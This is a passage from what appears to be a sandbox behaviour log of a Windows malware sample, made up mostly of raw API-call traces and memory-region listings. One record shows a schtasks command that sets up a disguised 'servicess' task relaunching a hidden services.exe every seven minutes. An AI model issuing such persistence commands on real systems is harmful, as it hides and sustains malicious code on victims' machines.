dwFlags=0x0, lpMem=0x6d6e0 | out: hHeap=0x50000) returned 1 [0058.981] GetProcessHeap () returned 0x50000 [0058.981] GetProcessHeap () returned 0x50000 [0058.981] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0) returned 1 [0058.981] GetProcessHeap () returned 0x50000 [0058.981] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cea0) returned 0x20 [0058.982] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0 | out: hHeap=0x50000) returned 1 [0058.982] GetProcessHeap () returned 0x50000 [0058.982] GetProcessHeap () returned 0x50000 [0058.982] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d700) returned 1 [0058.982] GetProcessHeap () returned 0x50000 [0058.982] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d700) returned 0xe [0058.982] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d700 | out: hHeap=0x50000) returned 1 [0058.982] GetProcessHeap () returned 0x50000 [0058.982] GetProcessHeap () returned 0x50000 [0058.982] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70) returned 1 [0058.982] GetProcessHeap () returned 0x50000 [0058.982] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce70) returned 0x20 [0058.983] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70 | out: hHeap=0x50000) returned 1 [0058.983] GetProcessHeap () returned 0x50000 [0058.983] GetProcessHeap () returned 0x50000 [0058.983] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d720) returned 1 [0058.983] GetProcessHeap () returned 0x50000 [0058.983] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d720) returned 0x16 [0058.983] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d720 | out: hHeap=0x50000) returned 1 [0058.983] GetProcessHeap () returned 0x50000 [0058.983] GetProcessHeap () returned 0x50000 [0058.983] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40) returned 1 [0058.983] GetProcessHeap () returned 0x50000 [0058.983] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce40) returned 0x20 [0058.984] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40 | out: hHeap=0x50000) returned 1 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d740) returned 1 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d740) returned 0x16 [0058.984] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d740 | out: hHeap=0x50000) returned 1 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10) returned 1 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce10) returned 0x20 [0058.984] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10 | out: hHeap=0x50000) returned 1 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] GetProcessHeap () returned 0x50000 [0058.984] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x89da0) returned 1 [0058.985] GetProcessHeap () returned 0x50000 [0058.985] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x89da0) returned 0x82 [0058.985] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x89da0 | out: hHeap=0x50000) returned 1 [0058.985] GetProcessHeap () returned 0x50000 [0058.985] GetProcessHeap () returned 0x50000 [0058.985] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0) returned 1 [0058.985] GetProcessHeap () returned 0x50000 [0058.985] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cde0) returned 0x20 [0058.986] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0 | out: hHeap=0x50000) returned 1 [0058.986] GetProcessHeap () returned 0x50000 [0058.986] GetProcessHeap () returned 0x50000 [0058.986] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d780) returned 1 [0058.986] GetProcessHeap () returned 0x50000 [0058.986] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d780) returned 0xe [0058.986] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d780 | out: hHeap=0x50000) returned 1 [0058.986] GetProcessHeap () returned 0x50000 [0058.986] GetProcessHeap () returned 0x50000 [0058.986] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0) returned 1 [0058.986] GetProcessHeap () returned 0x50000 [0058.986] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cdb0) returned 0x20 [0058.987] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0 | out: hHeap=0x50000) returned 1 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb50) returned 1 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb50) returned 0x18 [0058.987] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb50 | out: hHeap=0x50000) returned 1 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b00) returned 1 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b00) returned 0x20 [0058.987] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b00 | out: hHeap=0x50000) returned 1 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b30) returned 1 [0058.987] GetProcessHeap () returned 0x50000 [0058.987] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b30) returned 0x20 [0058.988] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b30 | out: hHeap=0x50000) returned 1 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b60) returned 1 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b60) returned 0x20 [0058.988] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b60 | out: hHeap=0x50000) returned 1 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b90) returned 1 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b90) returned 0x20 [0058.988] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b90 | out: hHeap=0x50000) returned 1 [0058.988] GetProcessHeap () returned 0x50000 [0058.988] GetProcessHeap () returned 0x50000 [0058.989] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb70) returned 1 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb70) returned 0x18 [0058.989] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb70 | out: hHeap=0x50000) returned 1 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65bc0) returned 1 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65bc0) returned 0x20 [0058.989] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65bc0 | out: hHeap=0x50000) returned 1 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c50) returned 1 [0058.989] GetProcessHeap () returned 0x50000 [0058.989] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c50) returned 0x20 [0058.990] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c50 | out: hHeap=0x50000) returned 1 [0058.990] GetProcessHeap () returned 0x50000 [0058.990] GetProcessHeap () returned 0x50000 [0058.990] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65cb0) returned 1 [0058.990] GetProcessHeap () returned 0x50000 [0058.990] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65cb0) returned 0x20 [0058.990] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65cb0 | out: hHeap=0x50000) returned 1 [0058.990] GetProcessHeap () returned 0x50000 [0058.990] GetProcessHeap () returned 0x50000 [0058.990] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d10) returned 1 [0058.990] GetProcessHeap () returned 0x50000 [0058.990] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d10) returned 0x20 [0058.991] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d10 | out: hHeap=0x50000) returned 1 [0058.991] GetProcessHeap () returned 0x50000 [0058.991] GetProcessHeap () returned 0x50000 [0058.991] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d40) returned 1 [0058.991] GetProcessHeap () returned 0x50000 [0058.991] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d40) returned 0x20 [0058.991] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d40 | out: hHeap=0x50000) returned 1 [0058.991] GetProcessHeap () returned 0x50000 [0058.991] GetProcessHeap () returned 0x50000 [0058.991] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb90) returned 1 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb90) returned 0x18 [0058.992] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb90 | out: hHeap=0x50000) returned 1 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c80) returned 1 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c80) returned 0x20 [0058.992] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c80 | out: hHeap=0x50000) returned 1 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb10) returned 1 [0058.992] GetProcessHeap () returned 0x50000 [0058.992] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb10) returned 0x18 [0058.992] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb10 | out: hHeap=0x50000) returned 1 [0058.992] exit (_Code=0) Thread: id = 101 os_tid = 0xee4 Process: id = "11" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3ecfc000" os_pid = "0xee8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1789 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1790 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1791 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1792 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1793 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1794 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1795 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1796 start_va = 0xff080000 end_va = 0xff0c7fff monitored = 1 entry_point = 0xff0a966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1797 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1798 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1799 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1800 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1801 start_va = 0x120000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1802 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1803 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1804 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1805 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1806 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1807 start_va = 0x120000 end_va = 0x186fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1808 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1809 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1810 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1811 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1812 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1813 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1814 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1815 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1816 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1817 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1818 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1819 start_va = 0x2b0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1820 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1821 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1822 start_va = 0x3d0000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 1823 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1824 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1825 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1826 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1827 start_va = 0x560000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1828 start_va = 0x6f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1829 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1830 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1831 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1832 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1833 start_va = 0x1af0000 end_va = 0x1dbefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1834 start_va = 0x1dc0000 end_va = 0x1e3cfff monitored = 0 entry_point = 0x1dccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1835 start_va = 0x1dc0000 end_va = 0x1e3cfff monitored = 0 entry_point = 0x1dccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1836 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1837 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1838 start_va = 0x1dc0000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 1839 start_va = 0x1dc0000 end_va = 0x1e9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 1840 start_va = 0x1f80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1841 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1842 start_va = 0x1ed0000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1843 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1844 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1845 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1846 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1847 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1848 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1849 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1852 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 102 os_tid = 0xeec [0059.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11f940 | out: lpSystemTimeAsFileTime=0x11f940*(dwLowDateTime=0x4c925e40, dwHighDateTime=0x1d9eb0c)) [0059.456] GetCurrentProcessId () returned 0xee8 [0059.456] GetCurrentThreadId () returned 0xeec [0059.456] GetTickCount () returned 0x17647b1 [0059.456] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11f948 | out: lpPerformanceCount=0x11f948*=2486593945778) returned 1 [0059.457] GetModuleHandleW (lpModuleName=0x0) returned 0xff080000 [0059.457] __set_app_type (_Type=0x1) [0059.457] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0a972c) returned 0x0 [0059.457] __wgetmainargs (in: _Argc=0xff0c1240, _Argv=0xff0c1250, _Env=0xff0c1248, _DoWildCard=0, _StartInfo=0xff0c125c | out: _Argc=0xff0c1240, _Argv=0xff0c1250, _Env=0xff0c1248) returned 0 [0059.458] _onexit (_Func=0xff0b2ab0) returned 0xff0b2ab0 [0059.458] _onexit (_Func=0xff0b2ac4) returned 0xff0b2ac4 [0059.458] _onexit (_Func=0xff0b2afc) returned 0xff0b2afc [0059.458] _onexit (_Func=0xff0b2b58) returned 0xff0b2b58 [0059.458] _onexit (_Func=0xff0b2b80) returned 0xff0b2b80 [0059.459] _onexit (_Func=0xff0b2ba8) returned 0xff0b2ba8 [0059.459] _onexit (_Func=0xff0b2bd0) returned 0xff0b2bd0 [0059.459] _onexit (_Func=0xff0b2bf8) returned 0xff0b2bf8 [0059.459] _onexit (_Func=0xff0b2c20) returned 0xff0b2c20 [0059.459] _onexit (_Func=0xff0b2c48) returned 0xff0b2c48 [0059.460] _onexit (_Func=0xff0b2c70) returned 0xff0b2c70 [0059.460] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0059.460] WinSqmIsOptedIn () returned 0x0 [0059.460] GetProcessHeap () returned 0x1b0000 [0059.460] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1c5560 [0059.460] SetLastError (dwErrCode=0x0) [0059.461] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0059.461] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0059.461] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0059.461] VerifyVersionInfoW (in: lpVersionInformation=0x11f100, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11f100) returned 1 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb20 [0059.461] lstrlenW (lpString="") returned 0 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x2) returned 0x1cbb40 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5a50 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb60 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5a80 [0059.461] GetProcessHeap () returned 0x1b0000 [0059.461] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5ab0 [0059.461] GetProcessHeap () returned 